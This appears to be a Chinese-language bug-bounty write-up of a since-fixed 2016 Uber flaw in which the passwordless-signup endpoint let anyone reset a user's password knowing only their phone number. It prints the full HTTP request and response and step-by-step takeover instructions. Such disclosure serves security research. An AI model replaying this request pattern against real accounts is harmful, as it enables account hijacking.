漏洞利用细节:改变任意用户的Uber密码

漏洞状态:已解决(关闭)

披露时间:2016年7月15日 凌晨5点38分

报告对象:Uber

漏洞类型:身份验证类

奖金:10000$

http://p1.qhimg.com/t016b6345dcb238fbbe.jpg

漏洞概述:

Uber是一款全球即时用车软件,该软件现已覆盖了全球六十多个国家和三百多个城市。而Uber的主要目的就是为大家提供更安全、更舒适的出行方式,并改善城市交通。

安全研究专家发现,通过Uber终端设备中的/rt/users/passwordless-signup,攻击者只需要知道目标Uber用户的手机号码,即可修改这名目标用户的Uber账号密码。但实际上,攻击者也可以不断枚举出手机号码,直到生成出注册了Uber账号的手机号。

目前,安全研究专家已经在Uber的乘客端进行了漏洞测试,并且发现这一漏洞很可能同样适用于Uber的司机端和其他用户角色。

请求/响应:

下面给出的是客户端的网络请求数据(用户具体的手机号已用xxxx代替):

POST /rt/users/passwordless-signup HTTP/1.1
Host: cn-geo1.uber.com
User-Agent: client/iphone/2.137.1
Connection: close
Content-Type: application/json
Content-Length: 197
{"phoneNumberE164":"+xxxxxxxx","userWorkflow":"PASSWORDLESS_SIGNUP","userRole":"client","mobileCountryISO2":"XX","state":"CREATE_NEW_PASSWORD","newPasswordData":{"newPassword":"12345678911a!"}}

网络请求所对应的服务器响应信息如下:

{"phoneNumberE164":"+xxxxxxxx","serverState":"SUCCEEDED","serverStateData":{"nextState":"SIGN_IN"},"tripVerifyStateData":{},"userMessage":"New password has been created. Please login with the new Password.","userRole":"client","userWorkflow":"PASSWORDLESS_SIGNUP"}

漏洞利用过程:

首先,我们需要创建一个新的Uber乘客账号。在实验的过程中,安全研究人员使用的是iOS端的应用程序,但是这一漏洞并不受应用程序平台的影响。

注册成功之后,将上面的网络请求再次发送给Uber的服务器,但是需要在发送之前将“phoneNumberE164”的值修改为绑定账户的手机号码(手机号码需要包含国家号码前缀,并以“+”开头。例如美国手机号的前缀码为+1xxx)。在某些情况下,你可能需要重复发送两次这样的网络请求,否则你可能无法接收到服务器端发回的响应信息。最终,我们将会接收到一条内容为“新密码已被创建”的提示信息,这也就意味着,我们已经成功更新了目标账户的登录密码。而目标账号的新密码就是请求中“newPassword”域的值。

这样一来,我们就可以在http://riders.uber.com/或者其他地方使用新密码来登录这个账号了。

在此之前,Uber一直都是黑客经常会选择的攻击目标。早在2014年,Uber公司就发生过严重的数据泄漏。在此次事件中,大约有五万名Uber出租车司机的姓名和驾驶执照信息被窃取了。此外,在2016年上半年,Uber平台下的大量账号信息竟然出现在了暗网市场中,大量用户信息发生了泄漏。为此,Uber公司的技术人员真的应该好好检查一下他们的产品安全性了。

免责声明:文章内容不代表本站立场,本站不对其内容的真实性、完整性、准确性给予任何担保、暗示和承诺,仅供读者参考,文章版权归原作者所有。如本文内容影响到您的合法权益(内容、图片等),请及时联系本站,我们会及时删除处理。查看原文

为您推荐